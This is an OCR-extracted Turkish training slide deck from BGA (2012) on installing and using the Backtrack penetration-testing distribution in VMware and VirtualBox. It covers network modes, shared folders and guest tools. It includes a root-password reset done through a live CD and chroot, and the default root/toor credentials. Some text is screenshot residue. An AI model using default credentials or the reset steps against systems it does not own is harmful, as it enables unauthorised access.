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BGA Hakkinda

* BGA, Bilgi Glvenligi Egitim ve Danismanlik
Firmasidir

* Bilgi Guivenligi AKADEMISI markasiyla Tuirkiye,
KKTC, Azerbaycan, Kazakistan gibi tGlkelerde 3
farkl dilde (Tiirkce, ingilizce ve Rusca) siber
glvenlik egitimleri vermektedir.

* BGA Pro (Profesyonel Hizmetler) kapsaminda
kurumlara “sadece uzmani oldugu” alanlarda
stratejik danismanlk yapmaktadir.

* Bilgi Glivenligi AKADEMISi 2008 yilinda kurulmus,
BGA Pro 2010 yilinda kurulmustur.
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Bilgi Guvenligi Akademisi Egitimleri

— —

[ snort IPS ]
[ Firewall/IPS Testleri ]
[ Beyaz Sapkali Hacker(CEH)

[Wireless Pentest ] = = -

[ | BGA(Bilgi Giivenligi Akademisi) Farki
(OpenBSDPacketfiter ) | =0

*Tiirkce Egitim Notlan
[ DDOS Saldirilari ve Engelleme ] *Capture The Flag Hacking Yarismalari
] *BGA CVClub is imkanlari

*Egitim Uygulama Videolan

\)

e ——

( Nessus zaafiyet Tarama
[ Agikkod Giivenlik Sistemleri ]
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BGA Pro Hizmetleri

* Penetration Test
— Web, Wireless, Mobile, DDoS ve Network Pentest
* GRC
— SOX, PCl ve ISO 27001 Danismanlk Hizmetleri
DDoS Saldirilarina Karsi Koruma ve Monitoring
Siber Sug Analizi /Cyber Crime Investigation
— Sadece belirli kurumlara yonelik bir hizmettir.
Kaynak Kod Denetimi, Guivenli Yazilim Gelistirme

— Kurumsal sirketlerin gelistirme sireclerine glivenligi
ekleme ¢alismalari

— Varolan projelerin kaynak kod denetimi
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Backtrack Linux 101 Egitimi

* Bilgi Giivenligi AKADEMISI BG-101 Egitim Projesi.
— Bilgi, bilisim givenligi konusunda Ucretsiz temel
egitimler serisi.

— DDo0S-101, Network Security-101, Web App. Security-
101 ...

» Backtrack temel kullanim kilavuzu ve Linux bilgisi.
» Destek ve geri bildirimler icin egitim@bga.com.tr
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Katkida Bulunanlar

* Proje Yoneticileri:
— Mehmet INCE & Ozan UCAR

* Destek verenler:
— Huzeyfe ONAL
— Omer ALBAYRAK
— Enes YARDIM
— Burcu CiY
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Backtrack Nedir ?

* Ubuntu(->Debian) tabanli bir Linux dagitimidir.

* Guvenlik testleri gerceklestiren pentest, audit ekiplerinin
kullanabilecegi offensive security araglarini biinyesinde
barindirir.

o Guvenlik uzmanlarinin ihtiyag duyabilecegi hemen her tir agik
kaynak kod yazilim hazir kurulu olarak gelir.

* Bilgi Glivenligi AKADEMISi egitimlerinde tercih edilen
Linux dagitimidir.
* www.backtrack-linux.org

<< bhack | track £
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Backtrack Kullanimi

* Backtrack Linux tg¢ farkh sekilde kullanilabilir;
o Hazir CD den ¢alistirma yontemi(Live CD)

o Hard Disk’e kurulum yontemi
o Sanallastirma imajlari (Vmware, VirtualBox) kullanim
yontemi

e CDden galistirma yonteminin performansi cd
okuyucunun kalitesine ve hizina baglh olarak
degisebilir.

* Tavsiye edilen yontem; Backtrack’i diske kurmak
veya sanallastirma platformlarinda calistirmaktir.
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Backtrack Temelleri

* Linux Gzerinde KDE/GNOME ya da benzeri
masaustu kullandiysaniz Backtrack kullanirken
zorluk cekmezsiniz.

* Backtrack’in asil glicii masaustinde degil komut
satirindadir. — Linux sistemlerin genel 6zelligi.-

* Masalstl kullanarak erisilebilecek programlarin
cogu, komut satirindan c¢alisan program/scriptlerin
diizenli mendler haline getirilmis halidir.
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Backtrack indirme

* http://www.backtrack-linux.org/downloads/

e Adresinden backtrack .iso’unu veya vmware imajini
indirebilirsiniz.

DOWNLOAD REGISTER AND DOWNLOAD

Not:Backtrack’i sanal makinada g¢alistirma hakkinda
bilgiye ihtiyaciniz yoksa bu basligi gecebilirsiniz.

Backtrack Linux- 101 Egitimi © 2012 |Bilgi Giivenligi AKADEMISI | www.bga.com.tr


http://www.backtrack-linux.org/downloads/
http://www.backtrack-linux.org/downloads/
http://www.backtrack-linux.org/downloads/
http://www.backtrack-linux.org/downloads/

Backtrack VM Imaji Indirme

* Bu egitim, Backtrack Vmware imaji kullanilarak
hazirlanmistir. Asagida ki fotograf Backtrack vmware
imajini indirmeye yoneliktir.

BackTrack Release:
ski
Architecture:
Image:

Download:
MDS5sum:

CLICK TO DOWNLOAD

C

‘Downloads
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Backtrack ve Sanallastirma Sistemleri

* Backtrack Vmware ve Virtualbox sanallastirma
yazilimlariyla tam uyumlu calisabilmektedir.

* Egitime baslamadan bu iki sanallastirma
yazilimi hakkinda bazi temel bilgiler ve
kurulum adimlari anlatilacaktir.

 Ozellikle performans gerektiren bazi yazilimlar
(Nmap, Hping vs) sanallastirma ortamlarinda
kullanilan Backtrack’lerde ¢ok verimli
olamamaktadir.
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Vmware Workstation Kurulumu

* Vmware bir sanallastirma sistemidir.

* isletim sistemlerini fiziksel makinalara kurmak yerine,
Vmware aracihigi ile sanal isletim sistemleri kurabilir ve
sanal network olusturulabilir.

*  https://my.vmware.com/web/vmware/info/slug/deskt
op end user computing/vmware workstation/8 0
adresinden Vmware Workstation’i indirilebilir.
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Vmware Kurulum

* Backtrack 5 vmware imajini indirdikten sonra,
sikistirilmis dosyayi bir dizine c¢ikartin.

e  Vmware kurulumu tamamlandiktan sonra Vmware
Worktation’i ¢alistirin.

VMware Workstation

VMware Workstation allows multiple standard operating systems and their applications to
run with high performance in secure and transportable virtual machines. Each virtual
machine is equivalent to a PC with a unique network address and full complement of
hardware choices.

ale
s
A Create a new virtual machine. Install and run a variety of standard
operating systems in the virtual machine,

Mew Virtual
Machine
Hel
|j ) Create a new team. Add several virtual machines and connect them
_____ with private team LAN segments.
New Team

= Browse for virtual machines or teams and select one to display in this
panel. Interact with the guest operating system within this display as
you would a standard PC.
Open Existing

VM or Team
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Vmware Kurulum

Name

. BT5R2-GNOME-VYM-32vmdk.lck

BT5R2-GNOME-YM-32.vmux.lck .
. BT5R2-GNOME-VM-32-4f05cd78.vmemll...
. caches

{51 BTSR2-GNOME-VM-32.vmx “ . ”
Open Existing VM or Team

e tiklayip ardindan Backtrack
5’| gikarttigimiz dizine
gegiyoruz. BTSR2-GNOME-
VM-32.vmx dosyasini segip
“open” butonuna tikliyoruz.

4| (1] *

Jame: - [VMware Workstation Files ("wn V]

[ Open || Conce |
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Vmware Kurulum

* Power on this virtual machine butonuna tiklayarak
Backtrack sanal makinamizi ¢alistiriyoruz.

BT5R2-GNOME-VM-32
State: Powered off
Guest OS: Ubuntu
Location: D:\BT5R. 2-GMOME-¥M-32\8T 5R.2-GNOME-VM-32. vmx
Wersion: Workstation 6. 5-7.x virtual machine
Commands Devices | | Options
[ Power on this virtual machine 2 Memory 753 MB
m_'l Edit virtual machine settings % Processors 1
(=Hard Disk (SCSI) 30 GB
a Enable ACE features (Whatis ACE?) '@CD,’D\:‘D {IDE) Auto detect
ElNetwork Adapter EBridged
@USB Controller Present
&) sound Card Auto detect
EDispIay Auto detect
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Vmware Kurulum

.Ilm x @BTSRZ-GMOME-VM-ISZ

vmware

startivs
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Vmware Kurulum

« Klavye ve mouse kontrollini, calistirdiginiz sanal
makinaya vermek icin, ekrana bir kere tiklamaniz yeterli
olacaktir. Kontroliin gergek isletim sistemine gecmesi icin
ctrl + alt kombinasyonuna basmaniz gerekmektedir.

21717221 Duslon HPT SPL Host dslver 9.04.20
INT A > GSI 17 Clevel, Tow) —> 1RQ 17
mtuun bringup
b 2-2: device mumber 2 using ubhci_hcd
2. Zﬁﬂﬁl Floppy ‘rhek'l 40 is 1.44M
2.239285) penet32: penetd2 21 e, 2008 tabogendonlgha frenken.ds
2.239559. lmmel 1 INT A -> 651 19 (level, low) -> TRQ 1!
2.240037) penet32: PCnet/PCI P9CI70A at 0x2000, 00:0c:29:13:50:16 .sﬂgul 1RQ 19
2.240857) penet32: ethd: registered as PCII:(/PCI 11 79C970n
2.2

Q
re Virtual S 1.0

ble
ho: write through
1 type

data unavailable

ng drive cache: urite through

ailable
ache: urite through
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VirtualBox Kurulum

* VirtualBox bir sanallastirma sistemidir.

* isletim sistemlerini fiziksel makinalara kurmak yerine,
VirtualBox aracihigi ile sanal isletim sistemleri kurabilir
ve sanal network olusturulabilir.

*  https://www.virtualbox.org/wiki/Downloads

e Adresinden VirtualBox’l indirebilirsiniz.
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VirtualBox Kurulum

-
8] Oracle UM VirtualBox 40.2 Setup o

Welcome to the Oracle VM
w @ VirtualBox 4.0.2 Setup Wizard

The Setup Wizard will install Orade YM VirtualBox 4.0.2 on
your computer. Click Next to continue or Cancel to exit the
Setup Wizard.

Version 4.0.2

Cancel

* “Next” ile ilerleyerek kurulumu tamamliyoruz.
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VirtualBox Kurulum

9 Oracle VM VirtuglBox Manager =8| R
s
19 i
@ Create New Virtual Machine
- Snapshots
Settings
VM Name and OS Type
Enter a name for the new virtual machine and select the type of the guest operating system you plan to The list
install anto the virtual machine. = Emuti, |
The name of the virtual machine usually indicates its software and hardware configuration. Tt will be used N
by all VirtualBiox components to identify your virtual machine., -
e
Name #
gj
perating System: [Linux -
(&
Version: [Oﬂw Linux ]
Adim #2

Adim #3
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VirtualBox Kurulum

@ Create New Virtual Machine

Memory

Select the amount of base memory (RAM) in megabytes to be allocated to the virtual machine.
The recommended base memory size is 256 MB.
Base Memary Size
U 512 ME
4ME

Adim #4

512 mb
memory
yeterlidir.

[ Dahasonra

degistirilebilir.
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VirtualBox Kurulum

Virtual Hard Disk

Select 3 virtual hard disk to be used as the boot hard disk of the virtual machine. You can either create a
new hard disk or select an existing one from the drop-down list or by pressing corresponding button (to
invoke file-open window).

If you need a more complicated hard disk setup, you can also skip this step and attach hard disks later
using the VM Settings dialog. Adim #5

The recommended size of the bant hard disk s 8.00 GB. Kullanilacak hard disk segimi
Boot Hard Disk

Create new hard disk

Use existing hard disk

Empty -

Hard Disk Storage Type

Select the type of virtual hard disk you want to aeate,

A dynamically expanding storage initially occupies a very small amount of space on your physical
hard disk. It will grow dynamically (up to the size specified) as the Guest OS5 daims disk space.

A fixed-size storage does not grow. It is stored in a file of approximately the same size as the size of Adim #6
the vitual hard disk. The reation of a fixed-size storage may take @ long tme depending on the storage . . .
Dinamik olarak biyliyen

size and the write performance of your harddisk.
Storage T W e
reoe Tpe alan 6zelligi segimi.

@ Dynamically expanding storage

() Fixed-size storage

AKADEMISI | www

VirtualBox Kurulum

Virtual Disk Location and Size Adim #7

Press the Selectbutton to select the location of a file to store the hard disk data or type a file name in Olusacak VB dosyalar!nln
the entry fild. lokasyonu ve Hard disk
Location imi
boyutu segimi.

BGA_ETS

@

Select the size of the virtual hard disk in megabytes. This size will be reported to the Guest OS as the
maximum size of this hard disk.

Size

3000 cB

Summary

You are going to create a new virtual hard disk with the following parameters: Adim #8

Type:  Dynamically expanding storage o
Location: C:'Usersymince\VirtualBox VMs\BGA_BTS1BGA_BT5.vdi Bltl§.
Size:  30.00 MB (31457280 B)

If the above settings are correct, press the Finish button. Once you press it, a new hard disk will be
created.
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VirtualBox Kurulum

-
%§ Oracle VM VirtualBox Manager 8 |

o)

File Machine Help

Adim #9
Calistirlmaya hazir sanal
makina. “Start” butonuna

tiklanir.

Snapshots

=] General = preview

Name:  BGA_BTS
05 Type: Gther Linux

System

Base Memory: 512 M8

Boot Order:  Floppy, CD/DVD-ROM, BGA_BTS
Hard Disk

Acceleration: VT-x/AMD-Y, Nested

Paging i |

Display
Video Memory: 12MB
Remote Desktop Server: Disabled

(2 storage

IDE Controller
IDE Primary Master: BGA_BTS.vdli (Normal, 30.00 MB)
IDE Secondary Master (CD/DVD): Empty

o Audio

Host Driver: Windows DirectSound

Controller: ICH ACS7

-

.

n

Welcome to the First Run Wizard!

You have started a newly created virtual machine for the first time. This wizard will help you to perform
the steps necessary for installing an operating system of your choice onto this virtual machine.

Use the Next button to go to the next page of the wizard and the Back button to return to the
previous page. You can also press Cancel if you want to cancel the execution of this wizard,

devam ediyoruz

e Sanal makina ilk ¢calistirildiginda gelen uyari ekranina
“tamam” dedikten sonra bu ekran gelmektedir. “Next” ile
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VirtualBox Kurulum

Select Installation Media

Select the media which contains the setup program of the operating system you want to install. This
media must be bootable, otherwise the setup program will not be able to start.

Media Source

[BTSR2-KDE-32.s0 (2.61 GE) -

Adim #10
Download ettigimiz
Backtrack .iso | [ cancel
dosyasini bura
ekranda secip
ekliyoruz
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VirtualBox Kurulum

- X
) BGA _BT51 [Running] - Oracle VM VirtualBox o D e S

Machine | Devices | Help

BackTrack Live CD

BackTrack Stealth — No Networking enabled
BackTrack Forensics — No Driveor-Swap Mount
BackTrack noDRM - No DRM Drige;r;ﬂ——
BackTrack Debug - Safe Mode

BackTrack Memtest — Run memtest

Hard Drive Boot - boot the first hard difk

<< back | track [=
Adim #11
Backtrack agilis ekrani
Automatic boot in 26 seconds... ge|m|$ bulunmakta.
ilk segenek ile devam
ediyoruz

Press [Tabl to edit options

(@Y - A=iv] Right Control




VirtualBox Kurulum

System information as of Mon May 28 05:09:38 EDT 2012

System load: 0.8 Processes: 68

Usage of <home: unknown Users logged in: 1

Memory usage: 11 IP address for etho: 10.0.2.15
Swap usage: 0

Graph this data and manage this system at https:/-landscape.canonical.comn
H startx_

Adim #12
Start’x komutu ile grafik
arabirime gegiyoruz. Biz
Bu kisimda “KDE” kurulu
Backtrack .iso dosyasini
tercih ettik. “GNOME”
ile kurulum asamasinda

higbir fark yoktur.

Adim #13
Masaustunde ki
“Install BackTrack”
isimli simgeye tiklayin.
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VirtualBox Kurulum

Where are you?

Region: Asia

* Haritayi kullanarak Turkiyeyi segebilirsiniz.
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VirtualBox Kurulum

* Klavye secimleri.
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VirtualBox Kurulum

BackTrack Live
%1 Quit

* Sanal sistemde calistigimiz icin tim diski kurulum igin
kullanabiliriz.
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VirtualBox Kurulum

* “Install” dedikten sonra sistem kurulumu baslar.
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VirtualBox VM imaji Kullanimi

* Internetten indirilen Backtrack Vm imaji hem
Vmware hem de Virtualbox yazilimlariyla
acilabilir.

* Virtualbox Yazilimi ile agmak igin
http://www.bga.com.tr/calismalar/BacktrackV
irtualBoxKurulumu/ adresindeki detay
dokiman yardimci olacaktir.
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VM Tools / VB Guest Additions

* Backtrack 5 linux dagitimini vmware araciligi ile
kullaniyorsaniz, kullandiginiz windows veya linux
masaustiinden dosya islemleri, kopyala yapistir vb.
islemler icin vmware tools kurulumuna ihtiyaciniz
olacaktir.

* Vmware ara¢ ¢gubugundan “VM > Install VMware
Tools” segenegini segtiginizde, backtrack’de sanal bir
cd-rom olusacaktir. Asagidaki komutlar ile kurulumu
gerceklestirebilirsiniz.

e #cd /media/VMware\ Tools/

# tar zxvf VMwareTools-8.1.3-203739.tar.gz -C /tmp/
# cd /tmp/vmware-tools-distrib/
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VM Tools / VB Guest Additions

* Buasamadan sonra kuruluma baslayabiliriz, kurulum
sirasinda sordugu sorulara size uygun yanitlari verebilir
veya tim sorulari enter ile onaylayarak gegebilirsiniz.

# ./vmware-install.pl

Creating a new VMware Tools installer database using the tar4 format.
Installing VMware Tools.

In which directory do you want to install the binary files?

[/usr/bin]

What is the directory that contains the init directories (rc0.d/ to rc6.d/)?
[/etc]

What is the directory that contains the init scripts?

[/etc/init.d]

In which directory do you want to install the daemon files?

[/usr/sbin]

Enjoy,

—the VMware team

Found VMware Tools CDROM mounted at /media/VMware Tools. Ejecting device
/dev/sr0 ...

Backtrack Linux- 101 Egitimi © 2012 |Bilgi Giivenligi AKADEMISI | www.bga.com.tr
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VM Tools / VB Guest Additions

VirtualBox’ta ise Backtrack ¢alisirken;

Backtrack’in g¢alistigi VirtualBox ekraninda Ustten
“Devices” sekmesine tiklanir.

e Devices sekmesinden “Install Guest Additions”
sekmesine tiklanir.

Ekrana gelen uyarida “Force Mount” tiklanir.

islemler tamamlandiginda “reboot” ile makine
yeniden baslatiimalidir.
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Bridge - Nat — Host Only

* Vmware Workstation/Virtual Box kurulduktan sonra
bilgisayarinizda 2 adet sanal ag karti olusacaktir. Bu ag
kartlari ile kullandiginiz sanal makinalar IP alirlar ve
fiziksel isletim sistemi Uizerinden internete ¢ikarlar.

* NAT Mod: Kullandiginiz sanal isletim sistemine IP’yi sanal
ag kartinin atamasi islemidir. Bu durumda sanal isletim
sistemi, Uzerinde ¢alistigi fiziksel isletim sistemi ile ayni
networkte calisan diger bilgisayarlar ile iletisime
gecemezler. NAT mode, kisaca; Sanal network
olusturulmasi demektir.

Backtrack Linux- 101 Egitimi © 2012 |Bilgi Giivenligi AKADEMISI | www.bga.com.tr

19



Bridge - Nat — Host Only

el () BTSR2 MoME ume 22

Bridge Mod: Bridge mod’a romicaions
alinan sanal makina IP

. o Power Off
talebinde bulundugunda, Sy
IP talebi sanal ag

karti tarafindan degilde,
-

Pause
Take Snapshot...
Revert to Snapshot

Record

Uzerinde calistigi fiziksel
isletim sistemine ip veren o i
DHCP tarafindan cevaplanir. —
Bu sayede fiziksel networke ﬁ R
dahil olmus bir sanal makina
kullanilabilmektedir. “Settings” |

butonuna tixt Message Log
tiklayiniz. Settings...

Replay Last Recording

Capture Screen...

Capture Movie...

Change Version...

Add to Favorites

Delete from Disk
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Bridge - Nat — Host Only

Virtual Machine Ei
Hardware | Options

Device Summary
P Memory 768 MB
@ Processors 1
feHard Disk (SC5I) 30 GB

Device status
Connected
Connect at power on

(=)Co/DVD (IDE)  Auto detect Network connection

[ Netwark Adapter Bridged (@) Bridged: Connected directly to the physical network
@usB Controller  Present [|replicate physical network connection state

@ sourd care Auto detect (2) NAT: Used to share the host's IP address
BHisplay Auto detect

(©) Host-only: A private network shared with the host
() Custom: Specific virtual network

VMnet0

* Bridge ,NAT ve Host only modlari arasinda bu sekilde
gegis yapilir.
* Bu gegisten sonra Backtrack’te,
#dhclient
Komutu calistirilmalidir. ilerleyen béliimlerde dhclient

komutuna deginilecektir.
Backtrack Linux- 101 Egitimi © 2012 |Bilgi Giivenligi AKADEMISI | www.bga.com.tr
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Bridge - Nat — Host Only

*  “Bulundugum network aralig1 10.0.0.0/24 ve vmware
NAT interfacede 10.0.0.0/24 subnetinden dagitiyor olsa
ne yapacagim ?” sorusunu sorabilirsiniz.

Edit | View VM Team Windows Helj

Cut Ctrl+X
Copy Ctrl+C
Paste Ctrl+V

Wirtual Metwork Editor...

Preferences... Ctrl+P

* Vmware workstation ekraninda iken “Virtual Network
Editor” butonuna tikhyoruz.
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Bridge - Nat — Host Only

-
g Virtual Network Editor =
Name Type External Connection Host Connection DHCP 7
VMnet2  Custom - - - 3 Type kisminda NAT
VMnet3 Custom - - - .. .. .
Wnet4  Custom - - - B olarak isimlendirilmig

VMnets Custom

VMnets Custom

VMnet7 Custom - - -
VMnets NAT NAT Connected Enabled
VMnets Custom - - -

networke tikliyoruz.

Asagida ki bélimde

bulunan Subnet IP
WMnet Information adresini
(7) Bridged {connect WMs directly to the external network) Q
kullanilmayan bir
subnet ile
degistirebilirsiniz.

Bridged to: |Broadcom 4313 802, 11b/g/n - Deterministic Network Enhancer Minig
(@ MAT (shared host's IP address with vMs)
() Host-only (connect VMs internally in a private network)
Connect a host virtual adapter to this network

Host virtual adapter name: ¥Mware Network Adapter VMnets
Use local DHCP service to distribute IP address to VMs

DHCP Settings...

Subnet IP: 192,168 .100. 0  Subnetmask: 255.255.255. 0
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Bridge - Nat — Host Only

* Eger bir sanal makina “Host Only” olarak ¢alistirilirsa,
sanal makina sadece Uzerinde ¢alistigi fiziksel isletim
sistemi ile network iletisimine gegebilir.

Virua Vecrine s e

| Device Summary

2 Memory 512 MB

Device status
Connected

& Processars 1 Connect at power on

e Hard Disk (3CST) 30 GB
(=)CD/DVD (IDE) ~ Auto detect
ENetwork Adapter Host-only

Network connection
() Bridged: Connected directly to the physical network

(@UsE Controller  Present Replicate physical network connection state
'0 ‘ S.uund Card Auto detect (Z) NAT: Used to share the host's IP address
EDlspIay Auto detect

@) Host-only: A private network shared with the host
() Custom: Specific virtual network

VMnetd

“Host Only”
secenegi
secilmistir.
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Sanal Sistem ile Dosya Paylasimi

* Sanal makinanin, Gzerinde calistigi fiziksel isletim
sistemi ile kendi arasinda dosya transferi yapma
ihtiyaci olabilir.

)

e Bu sorunu ¢ézmek i¢in “Shared Folder’
ayarlanmalidir.

* Bu ayarlarin yapilmasi icin Vmware ve
VirtualBox'in ayarlari diizenlenmelidir.
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Sanal Sistem ile Dosya Paylasimi

* Vmware Dosya Paylagimi Ayarlari

Settings Summary Falder sharing VM >

L\‘ Shared folders expose your files to programs in the
Sl General BTSR2-GNOME-VM-32 virtual machine, This may put your computer and Sett| ngs >
[ Power your data at risk. Only enable shared folders if you
() Shared Folders Disabled trust the virtual machine with your data. o pthI"lS
(@1snapshats () Disabled ;
©) AutoPratect Disabled @ Always enabled sekmesine

Replay Debugging enabled Enabled until next power off or suspend A

B Guest Isolation Enabled, Enabled ge“nlr'
(B Encryption Not encrypted Folders
[@VvMware Tools  Default " Y
[ZRemote Display  Disabled Mame Host Path ‘Add” butonu
Sunity . o g
[ElAppliance View  Disabled ile yeni bir
Bace Disabled
&DAum\ogan Not supported pay|a§| m
(=) Advanced Default/Default klasoru

eklenecektir.

— I
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Sanal Sistem ile Dosya Paylasimi

.
Add Shared Folder Wizard -
Name the Shared Folder Ik 6nce
What would you like to call this shared folder? pay|a§|m
klasorinin
ot et hangi klas6r
C:\Users\mince\Desktop\PaylasvM olacaélnl
| “Browse”
REus kismindan
PaylasVM seciyoruz.
Name
kisminda bu
klasore
isimfarkl bir
verebilirsiniz
[ < Back ] [ Next > ] [ Cancel ]
[
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Sanal Sistem ile Dosya Paylasimi

Add Shared Folder Wizard = 4

XN Folders

Specify Shared Folder Attributes
Spedify the scope of this shared folder.

Name

Additional attributes

[7]Enable this share

[F]Read-only

SEREL
makinalarin bu
klasorden
sadece dosya
almasini
istiyorsaniz
“Read-Only”
segenecegini
seginiz.

Cancel

[EPaylasyM  C:WUsers\mince\Desktop'P...

Host Path

[ Add... ][ Remaove ][ Properties ]

[ e

J [ canedl | [ Helb |

“Ok” ile iglemi
bitiriyoruz.
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Sanal Sistem ile Dosya Paylasimi

Add Shared Folder Wizard

Specify Shared Folder Attributes
Specify the scope of this shared folder.

Additional attributes

Enable this share

[|read-only

< Back

J (

Finish ][ Cancel

Sanal
makinalarin bu
klasorden
sadece dosya
almasini
istiyorsaniz
“Read-Only”
secenecegini
seginiz.
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Sanal Sistem ile Dosya Paylasimi

s" Qracle VM VirtualBox Manager

{2} BGA_BTS51 - Settings

Bl General Shared Folders

[E system

Display Folders List

@ Storage Naf' 623 add Share 2 [t | Auto-Mount Access | 3
P Audie

& Network Folder Path: |

¢35 Serial Ports Folder Name:

7 use [] rRead-only

[ Shared Folders [C] Auto-mount

Adim #4

Select 3 seftings category from the list on the left-hand side and move the mouse over 3 settings
item to get more information.

[ ok [ concal |[ o |

1 Egitimi © 2012 |Bilgi Guivenligi AKADEMISI | www.bga.com.tr

Sistem Acilis

\App\:catlons Places System [5_ |
Preferences

Tue May 24, 4:43PM &

Log Out root..

Shut Down

Backtrack5 gnome masaustl kullaniminda ekran ¢ozinUrltGga sirasi ile
“System > Preferences > Monitors” secenegi ile degistirilebilir.

Backtrack Linux- 101 Egitimi © 2012 |Bilgi

nligi AKADEMISI | www.bga.c
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Sistem Acilis

% Monitor Preferences

Menitor: Unknown
Resolution: 8 ] )
Refresh rate: i ) '
Rotation: ( )

Detect monitors

Panel icon
[ Show moniters in panel

boyutta duracaktir.
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Sanal Makina Sifre Sifirlama

* Bu baslikta anlatilanlar, Backtrack’in Sanal dagitiminda “root”
kullanicisinin sifresi bilinmiyorsa yapilmalidir. Unutmayiniz ki
Backtrack’in default kurulumunda ki sifresi “toor” dur.

* Cahsan Backtrack’i “Power Off” ile durdurun.

* Sanal backtrack’in dosyalarinin bulundugu dizine gidip *.vmx
dosyasi bir metin editorii ile acip en sona yeni bir satirda
bios.bootDelay = “15000“ yazip kaydedin.

* Bu ayar degisikligi ile boot delay’l 15 saniyeye ¢ikartiyoruz.
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Sanal Makina Sifre Sifirlama

* Sanallastirma yaziliminin ekranina dénerek, Backtrack sanal
makinasinin ayarlarini diizenlememiz gerekmektedir.

Adim #4

E] BT5R2-GNOME-VM-32 Virtual Machine Settings
BT5R2-GNOME-VM-32 Hardware | Options
State: Powered off
Guest 05: Ubuntu Device Bl 4]
Location: D:\BT5R2-GNOME-VM-32\5T 2 Memory 512MB
Version: Workstation 6.5-7.x virtual & Processors 1

e Hard Disk (SCST) 30 GB

Commands j

I Power on this virtual machine
IR Edit virtual machine settings

[NCrzble ACE features (What is ACE?)

@ UsB Controller
) Sound Card

EDisp\ay

Device status

Connect at power on

Connection

(2 Use physical drive:

Auto detect

@) Yse 150 image file:

buntu-12.04-desktop-amds ~
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Sanal Makina Sifre Sifirlama

* “Adim #3” te secilen .iso dosyasi Ubuntu dagitimina
aittir. Siz isterseniz Backtrack dagitiminin .iso dosyasini

kullanabilirsiniz. Dagitimlar arasinda bir fark

olmayacaktir.

* Backtrack Vmware imajimizi CD-ROM ise mount edilen
.iso dosyasl Uzerinden acip, kullanici sifrelerinin
tutuldugu /etc/shadow dosyasinda duzenleme
yapilacaktir. Bu nedenle CD-ROM’dan mount edilecek

Linux dagitiminin ne oldugu énemli degildir.
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Sanal Makina Sifre Sifirlama

* Sanal makinayi ¢alistirin
* ilk gelen ekranda “ESC” tusuna basip asagida ki ekrana gelin.

* *.vmx dosyasinda yaptigimiz diizenleme gecerli olmadiysa
ESC’e basmaniz ise yaramayacaktir. Bu durumda *.vmx
dosyasini kontrol ediniz.

2. +Hard Drive
3. CD-ROM Drive
4. Metwork boot from AMD Am?ICIT0R

<Enter Setup>
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Sanal Makina Sifre Sifirlama

ubuntu®

Try Ubuntu without installing

* CD-ROM’dan Linux dagitimimizi Live Cd formatinda
cahstiriyoruz.
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Sanal Makina Sifre Sifirlama

BackTrack Live CD

BackTrack Stealth - No Networking enabled
BackTrack Forensics - No Driveor-8w.
BackTrack noDRM = NO DRM Dr i UBLS ——
BackTrack Debug — Safe Mode

BackTrack Memtest — Run mentest

Hard Drive Boot boot the first hard di

ce hack | track [=

Press [Tabl to edit options

Automatic boot in 24 seconds...

* Eger Cd-Rom’a mount ettiginiz .iso dosyasi Backtrack ise bu
ekrana geleceksinizdir. ilk satirda ki “Default Boot Text Mode”
secenegi ile devam edebilirsiniz.
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Sanal Makina Sifre Sifirlama

root@ubuntu:~# fdisk -1

Disk /dev/sda: 32.2 GB, 32212254720 bytes

255 heads, 63 sectors/track, 3916 cylinders, total 62914560 sectors
Units = sectors of 1 * 512 = 512 bytes

Sector size (logical/physical): 512 bytes / 512 bytes

I1/0 size (minimum/optimal): 512 bytes [ 512 bytes

Disk identifier: 0x0000624f

Device Boot Start End Blocks System
/dev/sdal = 2048 60229631 30113792 Linux
/dev/sda2 60231678 62912511 1340417 Extended
/dev/sdas 60231680 62912511 1340416 Linux swap [/ Solaris
root@ubuntu:~# I

* Live-CD olarak ¢alisan Linux dagitimi ile backtrack’in kurulu
oldugu partition ismini 6grendik. “/dev/sdal”

* “mount /dev/sdal /mnt”

* Komutu ile bu partition’u /mnt klasériine mount edelim.
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Sanal Makina Sifre Sifirlama

root@ubuntu:~# ls fmnt/

bin dev initrd.img media opt root share vmlinuz
boot et 1ib mnt pentest
cdrom home lost+found nis pro
root@ubuntu:~# ihr:):)t /mnt/f
f#

* Chroot komutu ile mount ettigimiz dizinde ki Backtrack’in shell
satirina gegin.

* “passwd” komutu ile Backtrack’in root kullanicisina yeni sifre
atayin.

* “sync” komutu ile degisiklikleri kaydedin.
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Sanal Makina Sifre Sifirlama

* “reboot” komutu ile sanal makinayi yeniden baslatin.

* Tum islemler bittiginde boot time’l kapatabilirsiniz.Veya
daha dusuk bir deger verebilirsiniz
* 15000 = 15 saniye
* 5000 = 5 saniye
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Backtrack Giris

* Sistem Acllis
* Sisteme ilk Giris
* Grafik Arabirime Gegis
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Sistem Acllis

Acilis Segenekleri
BackTrack Live CD

BackTrack Stealth — No Networking enabled
BackTrack Forensics — No Driveor-Swap Mount
BackTrack noDRM — No DRM Dr iUBLS ——
BackTrack Debug - Safe Mode

BackTrack Memtest — Run memtes#

Hard Drive Boot - boot the first hard dikk

ce hack | track [=

Press [Tabl to edit options

Automatic boot in 26 seconds...
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Grafik Arabirime Gecis

.35976511 : [sdal Cache data unavailable

.3578471 [sdal Assuming drive cache: write through
.3584151 [sdal Cache data unavailable

.3586121 [sdal Assuming drive cache: write through
.J608721 : Attached =csi generic sgl type ©

.4121841 1 sdaZ2 < sdaS >

.4132411 [sdal Cache data unavailable

.4134381 [sdal Assuming drive cache: write through
.4136341 : I[sdal Attached SCSI disk

NAMMNNMNMNNDNDW

BackTrack 5 R1 - Code MName Revolution 3Z bitbt ttyl
bt login:

e Tum Linux sistemlerde, en yetkili kullanici root dur.
Backtrack’in root kullanicisinin sifresi ise toor dur.

* Linux’te kullanici sifresi girerken, givenlik gerekgesiyle
basilan karakterler ekranda goriinmez.
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Grafik Arabirime Gecis

fisbisbistiiiiaiaiiaia bbbt aibis izt b iis s bizitiaigin g
[=x] Welcome to the BackTrack 5 Distribution, Codename "Revolution'

[=]1 Dfficial BackTrack Home Page: http:/-www.backtrack-linux.org

[=]1 Dfficial BackTrack Training : http: /wuw.offensive-security.com
A T

[=] To start a graphical interface, type "
[=]1 The default root password is " i

H 3

* Grafik ekrana gegis icin startx komutu yazilir ve enter’a
basilir.
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Grafik Arabirime Gecis

N\ Applications Places System (=] o [ SunApr22, 6:59PM

Merhaba
Backtrack ©
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Temel Linux Kullanimi

* Backtrack Baslat Mensu

e Terminal Komutlari Serisi

* Sistemi Tanima

e Servisler

e Komut Satiri Araglarinin Kullanimi
* isme Gore Arac Arama
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Backtrak Baslat Menusu

"\ /Applications Places System [Z] 54 FriFeb 3, 926AM &

